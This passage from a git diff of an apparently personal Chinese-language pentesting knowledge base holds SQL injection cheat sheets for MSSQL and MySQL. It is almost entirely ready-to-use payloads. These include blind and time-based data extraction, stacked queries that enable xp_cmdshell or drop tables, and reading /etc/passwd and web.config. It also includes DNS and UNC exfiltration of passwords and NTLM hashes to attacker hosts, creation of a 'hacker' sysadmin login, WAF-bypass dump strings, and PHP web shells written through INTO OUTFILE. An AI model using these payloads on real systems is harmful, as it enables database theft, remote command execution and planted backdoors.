[*] UserId
[*] UserName

-- Finally extract the data
$ SELECT UserId, UserName from Users
+

MSSQL 基于错误​

+
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)

For string inputs : ' + convert(int,@@version) + '
For string inputs : ' + cast((SELECT @@version) as int) + '
+

MSSQL 基于盲的​

+
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'

WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
+

MSSQL 基于时间​

+
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
+

MSSQL 堆叠查询​

+
    +
  • +

    没有任何语句终止符

    +
    -- multiple SELECT statements
    SELECT 'A'SELECT 'B'SELECT 'C'

    -- updating password with a stacked query
    SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--

    -- using the stacked query to enable xp_cmdshell
    -- you won't have the output of the query, redirect it to a file
    SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
    +
  • +
  • +

    使用分号“;”添加另一个查询

    +
    ProductID=1; DROP members--
    +
  • +
+

MSSQL 读取文件​

+

权限:选项需要或 ADMINISTER DATABASE BULK OPERATIONS 权限。

+
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
+

MSSQL 命令执行​

+
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
+

如果需要重新激活 xp_cmdshell(在 SQL Server 2005 中默认为禁用)

+
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
+

与 MSSQL 实例交互。

+
sqsh -S 192.168.1.X -U sa -P superPassword
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
+

执行 Python 脚本

+
+

由不同于使用 xp_cmdshell 执行命令的用户执行

+
+
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
+

MSSQL 带外​

+

MSSQL DNS 外过滤​

+

https://twitter.com/ptswarm/status/1313476695295512578/photo/1中的技术

+
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))

# Permissions: Requires the CONTROL SERVER permission.
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
+

MSSQL UNC 路径​

+

MSSQL 支持堆叠查询,因此我们可以创建一个指向 IP 地址的变量,然后使用 xp_dirtree 函数列出 SMB 共享中的文件并获取 NTLMv2 哈希。

+
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';-- 
+
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
+

MSSQL 使用户成为 DBA(数据库管理员)​

+
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
+

MSSQL 受信任的链接​

+
+

数据库之间的链接甚至可以跨林信任进行工作。

+
+
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
+

人工开采

+
-- find link
select * from master..sysservers

-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
+

列出权限​

+

列出当前用户在服务器上的有效权限。

+
SELECT * FROM fn_my_permissions(NULL, 'SERVER'); 
+

列出当前用户对数据库的有效权限。

+
SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
+

列出当前用户对视图的有效权限。

+
SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name; 
+

检查当前用户是否是指定服务器角色的成员。

+
-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
SELECT is_srvrolemember('sysadmin');
+

MSSQL 操作系统​

+

在查询中使用 SP_PASSWORD 可以隐藏日志,如:

+
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MySQL/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MySQL/index.html new file mode 100644 index 0000000..ccc64c4 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/SQL注入/MySQL/index.html @@ -0,0 +1,229 @@ + + + + + +MySQL | wjlin0 + + + + + + + +

MySQL

作者修订时间
wjlin02023-07-05 21:37:29
+

MYSQL 默认数据库​

+ + + + + + + + + + + + + + + + + +
Name描述
mysql需要 root 权限
information_schemaAvailalble 版本 5 及更高版本
+

MYSQL 注释​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Type描述
#哈希注释
/* MYSQL Comment */C 样式注释
/*! MYSQL Special SQL */特殊 SQL
/*!32302 10*/MYSQL 3.23.02 版本注释
-- -SQL 注释
;%00无字节
`重音符
+

MYSQL 测试注入​

+
    +
  • +

    :查询为 SELECT * FROM Table WHERE id = 'FUZZ';

    +
    '	False
    '' True
    " False
    "" True
    \ False
    \\ True
    +
  • +
  • +

    :查询为 SELECT * FROM Table WHERE id = FUZZ;

    +
    AND 1	    True
    AND 0 False
    AND true True
    AND false False
    1-false Returns 1 if vulnerable
    1-true Returns 0 if vulnerable
    1*56 Returns 56 if vulnerable
    1*56 Returns 1 if not vulnerable
    +
  • +
  • +

    :查询为 SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';

    +
    ' OR '1
    ' OR 1 -- -
    " OR "" = "
    " OR 1 = 1 -- -
    '='
    'LIKE'
    '=0--+
    +
  • +
+

基于 MYSQL 联合​

+

检测列数​

+

首先您需要知道列的数量

+
使用 order by 或​
+

不断增加这个数字,直到您得到一个错误的回答。尽管 GROUP BY 和 ORDER BY 在 SQL 中具有不同的功能性,但它们都可以以完全相同的方式用于确定查询中的列数。

+
1' ORDER BY 1--+	#True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
+

或

+
1' GROUP BY 1--+	#True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
+
使用 order by 或基于错误​
+

与前面的方法类似,如果启用了错误显示,我们可以用 1 个请求检查列数。

+
1' ORDER BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'order clause'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+

或

+
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'group statement'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+
使用 UNION SELECT 基于错误​
+

如果启用了错误显示,则此方法有效

+
1' UNION SELECT @--+        #The used SELECT statements have a different number of columns
1' UNION SELECT @,@--+ #The used SELECT statements have a different number of columns
1' UNION SELECT @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+
使用 LIMIT INTO 基于错误​
+

如果启用了错误显示,则此方法有效。

+

当注入点位于 LIMIT 子句之后时,这对于查找列数非常有用。

+
1' LIMIT 1,1 INTO @--+        #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@--+ #The used SELECT statements have a different number of columns
1' LIMIT 1,1 INTO @,@,@--+ #No error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+
使用 SELECT * FROM SOME_EXISTING_TABLE 基于错误​
+

如果您知道要查找的表名并且启用了错误显示,则此操作有效。

+

它将返回表中的列数,而不是查询。

+
1' AND (SELECT * FROM Users) = 1--+ 	#Operand should contain 3 column(s)
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+ True
+

使用信息提取数据库 _schema​

+

然后,以下代码将提取数据库的名称、表的名称、列的名称。

+
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
+

提取不包含信息的列名 _schema​

+

MySQL >= 4.1 的方法。

+

首先用提取列编号

+
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)
+

然后提取列名。

+
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null
+

MySQL 5 的方法

+
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
+

提取不带列名的数据​

+

在不知道第 4 列名称的情况下提取数据。

+
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
+

查询内部的注入示例 select author_id,title from posts where author_id=[INJECT_HERE]

+
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title |
+-----------+-----------------------------------------------------------------+
| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
+

基于 MYSQL 错误​

+

基于 MYSQL 错误-基本​

+

适用于 MySQL >= 4.1

+
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
+

基于 MYSQL 错误的-UpdateXML 函数​

+
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
+

阅读时间更短:

+
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
+

MYSQL 基于错误-提取值函数​

+

适用于 MySQL >= 5.1

+
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
+

基于 MYSQL 错误的-NAME_CONST 函数(仅适用于常量)​

+

适用于 MySQL >= 5.0

+
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--
+

MYSQL 盲​

+

具有等效子字符串的 MYSQL 盲​

+
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
+

使用二进制查询和 REGEXP 在 ORDER BY 子句中进行 MySQL 盲 SQL 注入​

+

这个查询基本上按一列或另一列排序,这取决于 EXISTS()是否返回 1. 为了让 EXISTS()函数返回 1,REGEXP 查询需要匹配,这意味着您可以逐个字符地伪造盲值,并在没有直接输出的情况下从数据库泄漏数据。

+
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN] REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
+

MySQL 盲 SQL 注入二进制查询使用 REGEXP。​

+

有效载荷:

+
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -
+

将在查询中工作(其中“where”子句是注入点):

+
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
+

在上述查询中,它将检查“项目”数据库中以“a”开头的“名称”列中是否存在项目。如果它能为每个项目睡眠 3 秒。

+

使用条件语句的 MYSQL 盲​

+

真: if @@version starts with a 5:

+
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
+

错误: if @@version starts with a 4:

+
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
+

带 MAKE_SET 的 MYSQL 盲​

+
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
+

带 LIKE 的 MYSQL 盲​

+

'_'的作用类似正则表达式字符“.”,用它来加速您的盲测

+
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
+

MYSQL 基于时间​

+

以下 SQL 代码将延迟 MySQL 的输出。

+
    +
  • MySQL 4/5: BENCHMARK() +
    +BENCHMARK(40000000,SHA1(1337))+
    '%2Bbenchmark(3200,SHA1(1))%2B'
    AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) //SHA1
    +
  • +
  • MySQL 5: SLEEP() +
    RLIKE SLEEP([SLEEPTIME])
    OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
    +
  • +
+

在子选择中使用 SLEEP​

+
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from information_schema.columns where table_schema=database() and column_name like '%pass%' limit 0,1) like '%')#
+

使用条件语句​

+
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1, BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
+

MYSQL DIOS-一次性转储​

+
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

-- SecurityIdiots
make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Profexer
(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

-- Dr.Z3r0
(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@))

-- M@dBl00d
(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

-- Zen
+make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)

-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/+

-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f6620446174616261736573203a3a20,(select count(*) from information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where schema_name>@sc order by schema_name limit 1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select count(*) from information_Schema.tables where table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20 ,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables where table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,LPAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e) from information_Schema.tables where table_schema=@sc and table_name>@t order by table_name limit 1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select count(*) from information_Schema.columns where table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark((Select count(*) from information_schema.columns where table_schema=@sc and table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LPAD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from information_schema.columns where table_schema=@sc and table_name=@t and column_name>@c order by column_name LIMIT 1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c62723e)+

-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f63656e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e4461746162617365207e3e3e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@port,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e742055736572207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+

-- sharik
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
+

MYSQL 当前查询​

+

该表可以列出 DB 目前正在执行的所有操作。

+
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state,0x3a,info))))a),3,4 #
+

MYSQL 读取文件的内容​

+

需要 filepriv,否则您将得到错误: ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

+
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
+
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
+

如果您在数据库上,则可以使用以下查询重新启用 LOAD_FILE

+
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
+

MYSQL 编写一个 shell​

+

进入外场法​

+
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
+

写入文件方法​

+
